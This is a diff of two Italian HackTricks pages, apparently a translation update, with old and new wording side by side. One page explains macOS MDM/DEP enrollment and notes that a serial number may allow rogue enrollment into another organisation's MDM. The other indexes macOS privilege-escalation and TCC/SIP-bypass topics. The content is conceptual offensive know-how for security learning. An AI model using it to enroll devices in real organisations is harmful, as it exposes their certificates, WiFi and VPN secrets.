* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**Per saperne di più sugli MDM di macOS controlla:** **Per saperne di più sui macOS MDM, controlla:**
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Concetti di base ## Concetti di base
### **Panoramica su MDM (Mobile Device Management)** ### **Panoramica di MDM (Mobile Device Management)**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) è utilizzato per gestire vari dispositivi per utenti finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento di MDM si basa su un server MDM compatibile, che è disponibile commercialmente o open-source, e deve supportare il [Protocollo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono: [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) è utilizzato per gestire vari dispositivi per utenti finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento di MDM si basa su un server MDM compatibile, che può essere commerciale o open-source, e deve supportare il [Protocollo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono:
* Controllo centralizzato sui dispositivi. * Controllo centralizzato sui dispositivi.
* Dipendenza da un server MDM che rispetti il protocollo MDM. * Dipendenza da un server MDM che rispetti il protocollo MDM.
* Capacità del server MDM di inviare vari comandi ai dispositivi, ad esempio cancellazione remota dei dati o installazione della configurazione. * Capacità del server MDM di inviare vari comandi ai dispositivi, ad esempio cancellazione remota dei dati o installazione di configurazioni.
### **Fondamenti di DEP (Device Enrollment Program)** ### **Fondamenti di DEP (Device Enrollment Program)**
Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) offerto da Apple semplifica l'integrazione del Mobile Device Management (MDM) facilitando la configurazione senza intervento per i dispositivi iOS, macOS e tvOS. DEP automatizza il processo di registrazione, consentendo ai dispositivi di essere operativi appena estratti dalla scatola, con minima intervento dell'utente o amministrativo. Aspetti essenziali includono: Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) offerto da Apple semplifica l'integrazione del Mobile Device Management (MDM) facilitando la configurazione senza intervento per i dispositivi iOS, macOS e tvOS. DEP automatizza il processo di registrazione, consentendo ai dispositivi di essere operativi immediatamente, con minima intervento dell'utente o amministrativo. Aspetti essenziali includono:
* Consente ai dispositivi di registrarsi autonomamente con un server MDM predefinito durante l'attivazione iniziale. * Consente ai dispositivi di registrarsi autonomamente con un server MDM predefinito durante l'attivazione iniziale.
* Principalmente utile per i dispositivi nuovi di zecca, ma applicabile anche ai dispositivi in fase di riconfigurazione. * Principalmente utile per i dispositivi nuovi di zecca, ma applicabile anche ai dispositivi in fase di riconfigurazione.
@ -39,10 +40,10 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Gui
### **Considerazioni sulla sicurezza** ### **Considerazioni sulla sicurezza**
È fondamentale notare che la facilità di registrazione fornita da DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure di protezione non vengono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, mascherandolo come dispositivo aziendale. È fondamentale notare che la facilità di registrazione fornita da DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure di protezione non vengono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, fingendo di essere un dispositivo aziendale.
{% hint style="danger" %} {% hint style="danger" %}
**Allerta di sicurezza**: La registrazione semplificata di DEP potrebbe potenzialmente consentire la registrazione non autorizzata di dispositivi sul server MDM dell'organizzazione se non sono in atto adeguate misure di sicurezza. **Avviso di sicurezza**: La registrazione semplificata di DEP potrebbe potenzialmente consentire la registrazione non autorizzata di dispositivi sul server MDM dell'organizzazione se non sono in atto adeguate misure di sicurezza.
{% endhint %} {% endhint %}
### Cosa è SCEP (Simple Certificate Enrolment Protocol)? ### Cosa è SCEP (Simple Certificate Enrolment Protocol)?
@ -50,12 +51,12 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Gui
* Un protocollo relativamente vecchio, creato prima che TLS e HTTPS fossero diffusi. * Un protocollo relativamente vecchio, creato prima che TLS e HTTPS fossero diffusi.
* Fornisce ai client un modo standardizzato per inviare una **Richiesta di Firma del Certificato** (CSR) allo scopo di ottenere un certificato. Il client chiederà al server di fornirgli un certificato firmato. * Fornisce ai client un modo standardizzato per inviare una **Richiesta di Firma del Certificato** (CSR) allo scopo di ottenere un certificato. Il client chiederà al server di fornirgli un certificato firmato.
### Cosa sono i Profili di Configurazione (aka mobileconfigs)? ### Cosa sono i Profili di Configurazione (noti anche come mobileconfigs)?
* Il modo ufficiale di Apple per **impostare/imporre la configurazione di sistema.** * Modo ufficiale di **impostare/imporre la configurazione di sistema** di Apple.
* Formato file che può contenere più carichi. * Formato file che può contenere più carichi.
* Basato su elenchi di proprietà (quelli di tipo XML). * Basato su elenchi di proprietà (quelli di tipo XML).
* "possono essere firmati e crittografati per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti." Fondamenti Pagina 70, Guida alla sicurezza di iOS, gennaio 2018. * "possono essere firmati e crittografati per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti." Fondamenti - Pagina 70, Guida alla sicurezza di iOS, gennaio 2018.
## Protocolli ## Protocolli
@ -80,7 +81,7 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Gui
* RESTful * RESTful
* sincronizza i record dei dispositivi da Apple al server MDM * sincronizza i record dei dispositivi da Apple al server MDM
* sincronizza i "profili DEP" su Apple dal server MDM (consegnati da Apple al dispositivo in seguito) * sincronizza i "profili DEP" da Apple al server MDM (consegnati da Apple al dispositivo in seguito)
* Un "profilo" DEP contiene: * Un "profilo" DEP contiene:
* URL del server del fornitore MDM * URL del server del fornitore MDM
* Certificati aggiuntivi fidati per l'URL del server (pinnaggio opzionale) * Certificati aggiuntivi fidati per l'URL del server (pinnaggio opzionale)
@ -88,25 +89,25 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Gui
## Numero di serie ## Numero di serie
I dispositivi Apple prodotti dopo il 2010 generalmente hanno **numeri di serie alfanumerici di 12 caratteri**, con i **primi tre cifre che rappresentano il luogo di produzione**, le **due** seguenti indicano l'**anno** e la **settimana** di produzione, le **tre** cifre successive forniscono un **identificatore univoco**, e gli **ultimi** **quattro** cifre rappresentano il **numero di modello**. I dispositivi Apple prodotti dopo il 2010 hanno generalmente **numeri di serie alfanumerici di 12 caratteri**, con i **primi tre cifre che rappresentano il luogo di produzione**, le **due** seguenti che indicano l'**anno** e la **settimana** di produzione, le **tre** cifre successive che forniscono un **identificatore univoco**, e gli **ultimi** **quattro** cifre che rappresentano il **numero di modello**.
{% content-ref url="macos-serial-number.md" %} {% content-ref url="macos-serial-number.md" %}
[macos-serial-number.md](macos-serial-number.md) [macos-serial-number.md](macos-serial-number.md)
{% endcontent-ref %} {% endcontent-ref %}
## Passaggi per l'iscrizione e la gestione ## Passaggi per la registrazione e la gestione
1. Creazione del record del dispositivo (Rivenditore, Apple): Viene creato il record per il nuovo dispositivo 1. Creazione del record del dispositivo (Rivenditore, Apple): Viene creato il record per il nuovo dispositivo
2. Assegnazione del record del dispositivo (Cliente): Il dispositivo viene assegnato a un server MDM 2. Assegnazione del record del dispositivo (Cliente): Il dispositivo viene assegnato a un server MDM
3. Sincronizzazione del record del dispositivo (Fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple 3. Sincronizzazione del record del dispositivo (Fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple
4. Check-in DEP (Dispositivo): Il dispositivo ottiene il suo profilo DEP 4. Check-in DEP (Dispositivo): Il dispositivo riceve il suo profilo DEP
5. Recupero del profilo (Dispositivo) 5. Recupero del profilo (Dispositivo)
6. Installazione del profilo (Dispositivo) a. incl. carichi MDM, SCEP e root CA 6. Installazione del profilo (Dispositivo) a. incl. carichi MDM, SCEP e root CA
7. Emissione del comando MDM (Dispositivo) 7. Emissione di comandi MDM (Dispositivo)
![](<../../../.gitbook/assets/image (694).png>) ![](<../../../.gitbook/assets/image (694).png>)
Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi" di alto livello** del processo di iscrizione. Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi" di alto livello** del processo di registrazione.
### Passo 4: Controllo DEP - Ottenere il Record di Attivazione ### Passo 4: Controllo DEP - Ottenere il Record di Attivazione
Questa parte del processo avviene quando un **utente avvia un Mac per la prima volta** (o dopo un wipe completo) Questa parte del processo avviene quando un **utente avvia un Mac per la prima volta** (o dopo un wipe completo)
@ -127,14 +128,14 @@ Segue alcuni passaggi per ottenere il Record di Attivazione eseguito da **`MCTes
1. Recupera il **certificato** 1. Recupera il **certificato**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Inizializza** lo stato dal certificato (**`NACInit`**) 2. **Inizializza** lo stato dal certificato (**`NACInit`**)
1. Utilizza vari dati specifici del dispositivo (ad esempio **Numero di Serie tramite `IOKit`**) 1. Utilizza vari dati specifici del dispositivo (ad esempio il **Numero di Serie tramite `IOKit`**)
3. Recupera la **chiave di sessione** 3. Recupera la **chiave di sessione**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Stabilisce la sessione (**`NACKeyEstablishment`**) 4. Stabilisce la sessione (**`NACKeyEstablishment`**)
5. Effettua la richiesta 5. Effettua la richiesta
1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) inviando i dati `{ "action": "RequestProfileConfiguration", "sn": "" }` 1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) inviando i dati `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. Il payload JSON è crittografato utilizzando Absinthe (**`NACSign`**) 2. Il payload JSON è crittografato utilizzando Absinthe (**`NACSign`**)
3. Tutte le richieste su HTTPs, vengono utilizzati certificati radice incorporati 3. Tutte le richieste sono su HTTPs, vengono utilizzati certificati radice incorporati
![](<../../../.gitbook/assets/image (566) (1).png>) ![](<../../../.gitbook/assets/image (566) (1).png>)
@ -150,11 +151,11 @@ La risposta è un dizionario JSON con alcuni dati importanti come:
* Richiesta inviata all'**URL fornito nel profilo DEP**. * Richiesta inviata all'**URL fornito nel profilo DEP**.
* I **certificati anchor** vengono utilizzati per **valutare la fiducia** se forniti. * I **certificati anchor** vengono utilizzati per **valutare la fiducia** se forniti.
* Promemoria: la proprietà **anchor\_certs** del profilo DEP * Promemoria: la proprietà **anchor\_certs** del profilo DEP
* La richiesta è un semplice file .plist con identificazione del dispositivo * **La richiesta è un semplice .plist** con l'identificazione del dispositivo
* Esempi: **UDID, versione OS**. * Esempi: **UDID, versione del SO**.
* Firmato CMS, codificato DER * Firmato CMS, codificato DER
* Firmato utilizzando il **certificato di identità del dispositivo (da APNS)** * Firmato utilizzando il **certificato di identità del dispositivo (da APNS)**
* La **catena di certificati** include il certificato scaduto **Apple iPhone Device CA** * **La catena di certificati** include il certificato scaduto **Apple iPhone Device CA**
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) ![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
@ -168,7 +169,7 @@ La risposta è un dizionario JSON con alcuni dati importanti come:
* I profili di configurazione hanno più payload da installare * I profili di configurazione hanno più payload da installare
* Il framework ha un'architettura basata su plugin per l'installazione dei profili * Il framework ha un'architettura basata su plugin per l'installazione dei profili
* Ogni tipo di payload è associato a un plugin * Ogni tipo di payload è associato a un plugin
* Può essere XPC (nel framework) o classico Cocoa (in ManagedClient.app) * Può essere XPC (nel framework) o Cocoa classico (in ManagedClient.app)
* Esempio: * Esempio:
* I Payload dei Certificati utilizzano CertificateService.xpc * I Payload dei Certificati utilizzano CertificateService.xpc
@ -181,11 +182,11 @@ Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includer
* Il payload **contiene proprietà chiave**: * Il payload **contiene proprietà chiave**:
* *
* URL di Check-In MDM (**`CheckInURL`**) * URL di Check-In MDM (**`CheckInURL`**)
* URL di Polling dei Comandi MDM (**`ServerURL`**) + topic APNs per attivarlo * URL di Polling dei Comandi MDM (**`ServerURL`**) + argomento APNs per attivarlo
* Per installare il payload MDM, viene inviata una richiesta a **`CheckInURL`** * Per installare il payload MDM, viene inviata una richiesta a **`CheckInURL`**
* Implementato in **`mdmclient`** * Implementato in **`mdmclient`**
* Il payload MDM può dipendere da altri payload * Il payload MDM può dipendere da altri payload
* Consente di **associare le richieste a certificati specifici**: * Consente di **vincolare le richieste a certificati specifici**:
* Proprietà: **`CheckInURLPinningCertificateUUIDs`** * Proprietà: **`CheckInURLPinningCertificateUUIDs`**
* Proprietà: **`ServerURLPinningCertificateUUIDs`** * Proprietà: **`ServerURLPinningCertificateUUIDs`**
* Consegnato tramite payload PEM * Consegnato tramite payload PEM
@ -199,30 +200,31 @@ Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includer
* Alla ricezione, gestito da **`mdmclient`** * Alla ricezione, gestito da **`mdmclient`**
* Per interrogare i comandi MDM, viene inviata una richiesta a ServerURL * Per interrogare i comandi MDM, viene inviata una richiesta a ServerURL
* Utilizza il payload MDM precedentemente installato: * Utilizza il payload MDM precedentemente installato:
* **`ServerURLPinningCertificateUUIDs`** per associare la richiesta * **`ServerURLPinningCertificateUUIDs`** per vincolare la richiesta
* **`IdentityCertificateUUID`** per il certificato client TLS * **`IdentityCertificateUUID`** per il certificato client TLS
## Attacchi ## Attacchi
### Registrazione di Dispositivi in Altre Organizzazioni ### Registrazione di Dispositivi in Altre Organizzazioni
Come già commentato, per cercare di registrare un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è registrato, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Come già commentato, per cercare di registrare un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quella Organizzazione**. Una volta che il dispositivo è registrato, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di registrazione non è correttamente protetto: Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di registrazione non è correttamente protetto:
{% content-ref url="enrolling-devices-in-other-organisations.md" %} {% content-ref url="enrolling-devices-in-other-organisations.md" %}
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) [enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Sicurezza e Privilege Escalation su macOS # Sicurezza e Privilege Escalation su macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
@ -24,14 +25,14 @@ Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking
**Notizie sull'Hacking in Tempo Reale**\ **Notizie sull'Hacking in Tempo Reale**\
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Ultimi Annunci**\ **Ultime Novità**\
Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Concetti di Base su MacOS ## Concetti di Base su MacOS
Se non sei familiare con macOS, dovresti iniziare imparando i concetti di base di macOS: Se non sei familiare con macOS, dovresti iniziare imparando le basi di macOS:
* File e permessi speciali di macOS: * File e permessi speciali di macOS:
@ -51,13 +52,13 @@ Se non sei familiare con macOS, dovresti iniziare imparando i concetti di base d
[macos-applefs.md](macos-applefs.md) [macos-applefs.md](macos-applefs.md)
{% endcontent-ref %} {% endcontent-ref %}
* L'**architettura** del k**ernel** * L'**architettura** del **kernel**
{% content-ref url="mac-os-architecture/" %} {% content-ref url="mac-os-architecture/" %}
[mac-os-architecture](mac-os-architecture/) [mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %} {% endcontent-ref %}
* Servizi e protocolli di rete n**etwork comuni di macOS** * Servizi e protocolli di rete comuni di macOS
{% content-ref url="macos-protocols.md" %} {% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md) [macos-protocols.md](macos-protocols.md)
@ -95,10 +96,10 @@ Ciò potrebbe verificarsi nelle seguenti situazioni:
* Il file utilizzato è stato già creato da un utente (di proprietà dell'utente) * Il file utilizzato è stato già creato da un utente (di proprietà dell'utente)
* Il file utilizzato è scrivibile dall'utente a causa di un gruppo * Il file utilizzato è scrivibile dall'utente a causa di un gruppo
* Il file utilizzato è all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file) * Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file)
* Il file utilizzato è all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file) * Il file utilizzato si trova all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file)
Essere in grado di **creare un file** che verrà **utilizzato da root**, consente a un utente di **sfruttarne il contenuto** o addirittura creare **symlink/hardlink** per farlo puntare altrove. Essere in grado di **creare un file** che verrà **utilizzato da root**, consente a un utente di **sfruttarne il contenuto** o anche creare **symlink/hardlink** per farlo puntare altrove.
Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**: Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**:
@ -106,9 +107,9 @@ Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md) [macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %} {% endcontent-ref %}
### Estensione del File e Gestori di App degli URL scheme ### Estensione dei File e gestori di app degli schemi URL
App strane registrate dalle estensioni dei file potrebbero essere sfruttate e diverse applicazioni possono essere registrate per aprire protocolli specifici Le app strane registrate dalle estensioni dei file potrebbero essere sfruttate e diverse applicazioni possono essere registrate per aprire protocolli specifici
{% content-ref url="macos-file-extension-apps.md" %} {% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md) [macos-file-extension-apps.md](macos-file-extension-apps.md)
@ -120,13 +121,13 @@ In macOS le **applicazioni e i binari possono avere permessi** per accedere a ca
Pertanto, un attaccante che vuole compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o addirittura **bypassare SIP**, a seconda delle sue esigenze). Pertanto, un attaccante che vuole compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o addirittura **bypassare SIP**, a seconda delle sue esigenze).
Questi privilegi sono solitamente concessi sotto forma di **entitlements** con cui l'applicazione è firmata, oppure l'applicazione potrebbe aver richiesto alcuni accessi e dopo che l'**utente li ha approvati** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi** poiché di solito vengono **ereditati**. Questi privilegi sono solitamente concessi sotto forma di **entitlements** con cui l'applicazione è firmata, oppure l'applicazione potrebbe aver richiesto alcuni accessi e dopo che l'**utente li ha approvati** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essere un **figlio di un processo** con quei **privilegi** poiché di solito vengono **ereditati**.
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato è stato [**bypassato SIP**](macos-security-protections/macos-sip.md#sip-bypasses). Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato è stato [**bypassato SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
## Privilege Escalation Tradizionale su macOS ## Privilege Escalation Tradizionale su macOS
Naturalmente, dal punto di vista delle red team dovresti essere interessato anche ad escalare a root. Controlla il seguente post per alcuni suggerimenti: Naturalmente, dal punto di vista di un team red dovresti essere interessato anche all'escalation a root. Controlla il seguente post per alcuni suggerimenti:
{% content-ref url="macos-privilege-escalation.md" %} {% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md) [macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -154,16 +155,17 @@ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali d
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi! **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
